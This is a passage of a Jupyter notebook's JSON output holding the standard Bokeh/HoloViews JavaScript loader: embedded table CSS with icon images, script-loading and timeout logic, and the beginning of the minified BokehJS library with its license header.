.slick-group-toggle.collapsed{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIOAADCBxIUIDBgwIEChgwAECBAgQUFjAAQIABAwoBaNSIMYCAAwIqGlSIAEHFkiQTIBCgkqDLAAEBADs=\\\\\\\")}.bk-root .slick-group-select-checkbox.checked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAAEcSURBVChTjdI9S8NQFAbg/raQXVwCRRFE7GK7OXTwD+ikk066VF3a0ja0hQTyQdJrwNq0zrYSQRLEXMSWSlCIb8glqRcFD+9yz3nugXwU4n9XQqMoGjj36uBJsTwuaNo3EwBG4Yy7pe7Gv8YcvhJCGFVsjxsjxujj6OTSGlHv+U2WZUZbPWKOv1ZjT5a7pbIoiptbO5b73mwrjHa1B27l8VlTEIS1damlTnEE+EEN9/P8WrfH81qdAIGeXvTTmzltdCy46sEhxpKUINReZR9NnqZbr9puugxV3NjWh/k74WmmEdWhmUNy2jNmWRc6fZTVADCqao52u+DGWTACYNT3fRxwtatPufTNR4yCIGAUn5hS+vJHhWGY/ANx/A3tvdv+1tZmuwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .slick-group-select-checkbox.unchecked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAACXSURBVChT1dIxC4MwEAXg/v8/VOhQVDBNakV0KA6pxS4JhWRSIYPEJxwdDi1de7wleR+3JIf486w0hKCKRpSvvOhZcCmvNQBRuKqdah03U7UjNNH81rOaBYDo8SQaPX8JANFEaLaGBeAPaaY61rGksiN6TmR5H1j9CSoAosYYHLA7vTxYMvVEZa0liif23r93xjm3/oEYF8PiDn/I2FHCAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .slick-sort-indicator-desc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgeAAUAGEgQgIAACBEKLHgwYcKFBh1KFNhQosOKEgMCADs=\\\\\\\")}.bk-root .slick-sort-indicator-asc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgbAAMIDABgoEGDABIeRJhQ4cKGEA8KmEiRosGAADs=\\\\\\\")}.bk-root .slick-header-menubutton{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDgAOAIABADtKYwAAACH5BAEAAAEALAAAAAAOAA4AAAISjI+py+0PHZgUsGobhTn6DxoFADs=\\\\\\\")}.bk-root .slick-pager{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .bk-data-table{font-size:11px}.bk-root .bk-data-table input[type=\\\\\\\"checkbox\\\\\\\"]{margin-left:4px;margin-right:4px}.bk-root .bk-data-table *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-data-table *:before,.bk-root .bk-data-table *:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-cell-special-defaults{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-select{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-index{border-right-color:silver;border-right-style:solid;background:#f5f5f5;text-align:right;color:gray}.bk-root .bk-header-index .slick-column-name{float:right}.bk-root .slick-row.selected .bk-cell-index{background-color:transparent}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-cell.active{border-style:dashed}.bk-root .slick-cell.editable{padding-left:0;padding-right:0}.bk-root .bk-cell-editor input,.bk-root .bk-cell-editor select{width:100%;height:100%;border:0;margin:0;padding:0;outline:0;background:transparent;vertical-align:baseline}.bk-root .bk-cell-editor input{padding-left:4px;padding-right:4px}.bk-root .bk-cell-editor-completion{font-size:11px}\\\\n/* END bokeh-tables.min.css */\\\");\\n\",\n       \"    }\\n\",\n       \"  ];\\n\",\n       \"\\n\",\n       \"  function run_inline_js() {\\n\",\n       \"    \\n\",\n       \"    if ((root.Bokeh !== undefined) || (force === true)) {\\n\",\n       \"      for (var i = 0; i < inline_js.length; i++) {\\n\",\n       \"        inline_js[i].call(root, root.Bokeh);\\n\",\n       \"      }} else if (Date.now() < root._bokeh_timeout) {\\n\",\n       \"      setTimeout(run_inline_js, 100);\\n\",\n       \"    } else if (!root._bokeh_failed_load) {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS failed to load within specified timeout.\\\");\\n\",\n       \"      root._bokeh_failed_load = true;\\n\",\n       \"    } else if (force !== true) {\\n\",\n       \"      var cell = $(document.getElementById(null)).parents('.cell').data().cell;\\n\",\n       \"      cell.output_area.append_execute_result(NB_LOAD_WARNING)\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  if (root._bokeh_is_loading === 0) {\\n\",\n       \"    console.log(\\\"Bokeh: BokehJS loaded, going straight to plotting\\\");\\n\",\n       \"    run_inline_js();\\n\",\n       \"  } else {\\n\",\n       \"    load_libs(js_urls, function() {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS plotting callback run at\\\", now());\\n\",\n       \"      run_inline_js();\\n\",\n       \"    });\\n\",\n       \"  }\\n\",\n       \"}(window));\"\n      ],\n      \"application/vnd.holoviews_load.v0+json\": \"\\n(function(root) {\\n  function now() {\\n    return new Date();\\n  }\\n\\n  var force = true;\\n\\n  if (typeof (root._bokeh_onload_callbacks) === \\\"undefined\\\" || force === true) {\\n    root._bokeh_onload_callbacks = [];\\n    root._bokeh_is_loading = undefined;\\n  }\\n\\n  \\n\\n  \\n  if (typeof (root._bokeh_timeout) === \\\"undefined\\\" || force === true) {\\n    root._bokeh_timeout = Date.now() + 5000;\\n    root._bokeh_failed_load = false;\\n  }\\n\\n  var NB_LOAD_WARNING = {'data': {'text/html':\\n     \\\"<div style='background-color: #fdd'>\\\\n\\\"+\\n     \\\"<p>\\\\n\\\"+\\n     \\\"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\\\n\\\"+\\n     \\\"may be due to a slow or bad network connection. Possible fixes:\\\\n\\\"+\\n     \\\"</p>\\\\n\\\"+\\n     \\\"<ul>\\\\n\\\"+\\n     \\\"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\\\n\\\"+\\n     \\\"<li>use INLINE resources instead, as so:</li>\\\\n\\\"+\\n     \\\"</ul>\\\\n\\\"+\\n     \\\"<code>\\\\n\\\"+\\n     \\\"from bokeh.resources import INLINE\\\\n\\\"+\\n     \\\"output_notebook(resources=INLINE)\\\\n\\\"+\\n     \\\"</code>\\\\n\\\"+\\n     \\\"</div>\\\"}};\\n\\n  function display_loaded() {\\n    var el = document.getElementById(null);\\n    if (el != null) {\\n      el.textContent = \\\"BokehJS is loading...\\\";\\n    }\\n    if (root.Bokeh !== undefined) {\\n      if (el != null) {\\n        el.textContent = \\\"BokehJS \\\" + root.Bokeh.version + \\\" successfully loaded.\\\";\\n      }\\n    } else if (Date.now() < root._bokeh_timeout) {\\n      setTimeout(display_loaded, 100)\\n    }\\n  }\\n\\n\\n  function run_callbacks() {\\n    try {\\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\\n    }\\n    finally {\\n      delete root._bokeh_onload_callbacks\\n    }\\n    console.info(\\\"Bokeh: all callbacks have finished\\\");\\n  }\\n\\n  function load_libs(js_urls, callback) {\\n    root._bokeh_onload_callbacks.push(callback);\\n    if (root._bokeh_is_loading > 0) {\\n      console.log(\\\"Bokeh: BokehJS is being loaded, scheduling callback at\\\", now());\\n      return null;\\n    }\\n    if (js_urls == null || js_urls.length === 0) {\\n      run_callbacks();\\n      return null;\\n    }\\n    console.log(\\\"Bokeh: BokehJS not loaded, scheduling load and callback at\\\", now());\\n    root._bokeh_is_loading = js_urls.length;\\n    for (var i = 0; i < js_urls.length; i++) {\\n      var url = js_urls[i];\\n      var s = document.createElement('script');\\n      s.src = url;\\n      s.async = false;\\n      s.onreadystatechange = s.onload = function() {\\n        root._bokeh_is_loading--;\\n        if (root._bokeh_is_loading === 0) {\\n          console.log(\\\"Bokeh: all BokehJS libraries loaded\\\");\\n          run_callbacks()\\n        }\\n      };\\n      s.onerror = function() {\\n        console.warn(\\\"failed to load library \\\" + url);\\n      };\\n      console.log(\\\"Bokeh: injecting script tag for BokehJS library: \\\", url);\\n      document.getElementsByTagName(\\\"head\\\")[0].appendChild(s);\\n    }\\n  };\\n\\n  var js_urls = [];\\n\\n  var inline_js = [\\n    function(Bokeh) {\\n      /* BEGIN bokeh.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var o,s,r,a,l;t.Bokeh=(o=[function(t,e,i){var n=t(153),r=t(32);i.overrides={};var o=r.clone(n);i.Models=function(t){var e=i.overrides[t]||o[t];if(null==e)throw new Error(\\\"Model '\\\"+t+\\\"' does not exist. This could be due to a widget\\\\n                     or a custom model not being registered before first usage.\\\");return e},i.Models.register=function(t,e){i.overrides[t]=e},i.Models.unregister=function(t){delete i.overrides[t]},i.Models.register_models=function(t,e,i){if(void 0===e&&(e=!1),null!=t)for(var n in t){var r=t[n];e||!o.hasOwnProperty(n)?o[n]=r:null!=i?i(n):console.warn(\\\"Model '\\\"+n+\\\"' was already registered\\\")}},i.register_models=i.Models.register_models,i.Models.registered_names=function(){return Object.keys(o)},i.index={}},function(t,e,o){var s=t(336),a=t(14),l=t(52),h=t(282),u=t(283),c=t(2);o.DEFAULT_SERVER_WEBSOCKET_URL=\\\"ws://localhost:5006/ws\\\",o.DEFAULT_SESSION_ID=\\\"default\\\";var _=0,p=function(){function t(t,e,i,n,r){void 0===t&&(t=o.DEFAULT_SERVER_WEBSOCKET_URL),void 0===e&&(e=o.DEFAULT_SESSION_ID),void 0===i&&(i=null),void 0===n&&(n=null),void 0===r&&(r=null),this.url=t,this.id=e,this.args_string=i,this._on_have_session_hook=n,this._on_closed_permanently_hook=r,this._number=_++,this.socket=null,this.session=null,this.closed_permanently=!1,this._current_handler=null,this._pending_ack=null,this._pending_replies={},this._receiver=new u.Receiver,a.logger.debug(\\\"Creating websocket \\\"+this._number+\\\" to '\\\"+this.url+\\\"' session '\\\"+this.id+\\\"'\\\")}return t.prototype.connect=function(){var i=this;if(this.closed_permanently)return s.Promise.reject(new Error(\\\"Cannot connect() a closed ClientConnection\\\"));if(null!=this.socket)return s.Promise.reject(new Error(\\\"Already connected\\\"));this._pending_replies={},this._current_handler=null;try{var t=this.url+\\\"?bokeh-protocol-version=1.0&bokeh-session-id=\\\"+this.id;return null!=this.args_string&&0<this.args_string.length&&(t+=\\\"&\\\"+this.args_string),this.socket=new WebSocket(t),new s.Promise(function(t,e){i.socket.binaryType=\\\"arraybuffer\\\",i.socket.onopen=function(){return i._on_open(t,e)},i.socket.onmessage=function(t){return i._on_message(t)},i.socket.onclose=function(t){return i._on_close(t)},i.socket.onerror=function(){return i._on_error(e)}})}catch(t){return a.logger.error(\\\"websocket creation failed to url: \\\"+this.url),a.logger.error(\\\" - \\\"+t),s.Promise.reject(t)}},t.prototype.close=function(){this.closed_permanently||(a.logger.debug(\\\"Permanently closing websocket connection \\\"+this._number),this.closed_permanently=!0,null!=this.socket&&this.socket.close(1e3,\\\"close method called on ClientConnection \\\"+this._number),this.session._connection_closed(),null!=this._on_closed_permanently_hook&&(this._on_closed_permanently_hook(),this._on_closed_permanently_hook=null))},t.prototype._schedule_reconnect=function(t){var e=this;setTimeout(function(){e.closed_permanently||a.logger.info(\\\"Websocket connection \\\"+e._number+\\\" disconnected, will not attempt to reconnect\\\")},t)},t.prototype.send=function(t){if(null==this.socket)throw new Error(\\\"not connected so cannot send \\\"+t);t.send(this.socket)},t.prototype.send_with_reply=function(i){var n=this,t=new s.Promise(function(t,e){n._pending_replies[i.msgid()]=[t,e],n.send(i)});return t.then(function(t){if(\\\"ERROR\\\"===t.msgtype())throw new Error(\\\"Error reply \\\"+t.content.text);return t},function(t){throw t})},t.prototype._pull_doc_json=function(){var t=h.Message.create(\\\"PULL-DOC-REQ\\\",{}),e=this.send_with_reply(t);return e.then(function(t){if(!(\\\"doc\\\"in t.content))throw new Error(\\\"No 'doc' field in PULL-DOC-REPLY\\\");return t.content.doc},function(t){throw t})},t.prototype._repull_session_doc=function(){var r=this;null==this.session?a.logger.debug(\\\"Pulling session for first time\\\"):a.logger.debug(\\\"Repulling session\\\"),this._pull_doc_json().then(function(t){if(null==r.session)if(r.closed_permanently)a.logger.debug(\\\"Got new document after connection was already closed\\\");else{var e=l.Document.from_json(t),i=l.Document._compute_patch_since_json(t,e);if(0<i.events.length){a.logger.debug(\\\"Sending \\\"+i.events.length+\\\" changes from model construction back to server\\\");var n=h.Message.create(\\\"PATCH-DOC\\\",{},i);r.send(n)}r.session=new c.ClientSession(r,e,r.id),a.logger.debug(\\\"Created a new session from new pulled doc\\\"),null!=r._on_have_session_hook&&(r._on_have_session_hook(r.session),r._on_have_session_hook=null)}else r.session.document.replace_with_json(t),a.logger.debug(\\\"Updated existing session with new pulled doc\\\")},function(t){throw t}).catch(function(t){null!=console.trace&&console.trace(t),a.logger.error(\\\"Failed to repull session \\\"+t)})},t.prototype._on_open=function(t,e){var i=this;a.logger.info(\\\"Websocket connection \\\"+this._number+\\\" is now open\\\"),this._pending_ack=[t,e],this._current_handler=function(t){i._awaiting_ack_handler(t)}},t.prototype._on_message=function(t){null==this._current_handler&&a.logger.error(\\\"Got a message with no current handler set\\\");try{this._receiver.consume(t.data)}catch(t){this._close_bad_protocol(t.toString())}if(null!=this._receiver.message){var e=this._receiver.message,i=e.problem();null!=i&&this._close_bad_protocol(i),this._current_handler(e)}},t.prototype._on_close=function(t){var i=this;a.logger.info(\\\"Lost websocket \\\"+this._number+\\\" connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\"),(this.socket=null)!=this._pending_ack&&(this._pending_ack[1](new Error(\\\"Lost websocket connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\")),this._pending_ack=null);for(var e=function(){for(var t in i._pending_replies){var e=i._pending_replies[t];return delete i._pending_replies[t],e}return null},n=e();null!=n;)n[1](\\\"Disconnected\\\"),n=e();this.closed_permanently||this._schedule_reconnect(2e3)},t.prototype._on_error=function(t){a.logger.debug(\\\"Websocket error on socket \\\"+this._number),t(new Error(\\\"Could not open websocket\\\"))},t.prototype._close_bad_protocol=function(t){a.logger.error(\\\"Closing connection: \\\"+t),null!=this.socket&&this.socket.close(1002,t)},t.prototype._awaiting_ack_handler=function(t){var e=this;\\\"ACK\\\"===t.msgtype()?(this._current_handler=function(t){return e._steady_state_handler(t)},this._repull_session_doc(),null!=this._pending_ack&&(this._pending_ack[0](this),this._pending_ack=null)):this._close_bad_protocol(\\\"First message was not an ACK\\\")},t.prototype._steady_state_handler=function(t){if(t.reqid()in this._pending_replies){var e=this._pending_replies[t.reqid()];delete this._pending_replies[t.reqid()],e[0](t)}else this.session.handle(t)},t}();o.ClientConnection=p,o.pull_session=function(i,n,r){return new s.Promise(function(t,e){return new p(i,n,r,function(e){try{t(e)}catch(t){throw a.logger.error(\\\"Promise handler threw an error, closing session \\\"+t),e.close(),t}},function(){e(new Error(\\\"Connection was closed before we successfully pulled a session\\\"))}).connect().then(function(t){},function(t){throw a.logger.error(\\\"Failed to connect to Bokeh server \\\"+t),t})})}},function(t,e,i){var n=t(14),r=t(52),o=t(282),s=function(){function t(t,e,i){var n=this;this._connection=t,this.document=e,this.id=i,this._document_listener=function(t){return n._document_changed(t)},this.document.on_change(this._document_listener),this.event_manager=this.document.event_manager,this.event_manager.session=this}return t.prototype.handle=function(t){var e=t.msgtype();\\\"PATCH-DOC\\\"===e?this._handle_patch(t):\\\"OK\\\"===e?this._handle_ok(t):\\\"ERROR\\\"===e?this._handle_error(t):n.logger.debug(\\\"Doing nothing with message \\\"+t.msgtype())},t.prototype.close=function(){this._connection.close()},t.prototype.send_event=function(t){var e=o.Message.create(\\\"EVENT\\\",{},JSON.stringify(t));this._connection.send(e)},t.prototype._connection_closed=function(){this.document.remove_on_change(this._document_listener)},t.prototype.request_server_info=function(){var t=o.Message.create(\\\"SERVER-INFO-REQ\\\",{}),e=this._connection.send_with_reply(t);return e.then(function(t){return t.content})},t.prototype.force_roundtrip=function(){return this.request_server_info().then(function(t){})},t.prototype._document_changed=function(t){if(t.setter_id!==this.id&&(!(t instanceof r.ModelChangedEvent)||t.attr in t.model.serializable_attributes())){var e=o.Message.create(\\\"PATCH-DOC\\\",{},this.document.create_json_patch([t]));this._connection.send(e)}},t.prototype._handle_patch=function(t){this.document.apply_json_patch(t.content,t.buffers,this.id)},t.prototype._handle_ok=function(t){n.logger.trace(\\\"Unhandled OK reply to \\\"+t.reqid())},t.prototype._handle_error=function(t){n.logger.error(\\\"Unhandled ERROR reply to \\\"+t.reqid()+\\\": \\\"+t.content.text)},t}();i.ClientSession=s},function(t,e,i){var n=t(391),r=t(14),o=t(32),s={};function a(e){return function(t){t.prototype.event_name=e,s[e]=t}}i.register_event_class=a,i.register_with_event=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=t.prototype.applicable_models.concat(e);t.prototype.applicable_models=n};var l=function(){function t(t){void 0===t&&(t={}),this.model_id=null,(this._options=t).model_id&&(this.model_id=t.model_id)}return t.prototype.set_model_id=function(t){return this._options.model_id=t,this.model_id=t,this},t.prototype.is_applicable_to=function(e){return this.applicable_models.some(function(t){return e instanceof t})},t.event_class=function(t){if(t.type)return s[t.type];r.logger.warn(\\\"BokehEvent.event_class required events with a string type attribute\\\")},t.prototype.toJSON=function(){return{event_name:this.event_name,event_values:o.clone(this._options)}},t.prototype._customize_event=function(t){return this},t}();(i.BokehEvent=l).prototype.applicable_models=[];var h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"button_click\\\")],e)}(l);i.ButtonClick=h;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(l),c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodstart\\\")],e)}(i.UIEvent=u);i.LODStart=c;var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodend\\\")],e)}(u);i.LODEnd=_;var p=function(i){function t(t){var e=i.call(this,t)||this;return e.geometry=t.geometry,e.final=t.final,e}return n.__extends(t,i),t=n.__decorate([a(\\\"selectiongeometry\\\")],t)}(u);i.SelectionGeometry=p;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"reset\\\")],e)}(u);i.Reset=d;var f=function(i){function t(t){var e=i.call(this,t)||this;return e.sx=t.sx,e.sy=t.sy,e.x=null,e.y=null,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,model_id:e})},t.prototype._customize_event=function(t){var e=t.plot_canvas.frame.xscales.default,i=t.plot_canvas.frame.yscales.default;return this.x=e.invert(this.sx),this.y=i.invert(this.sy),this._options.x=this.x,this._options.y=this.y,this},t}(u),v=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return 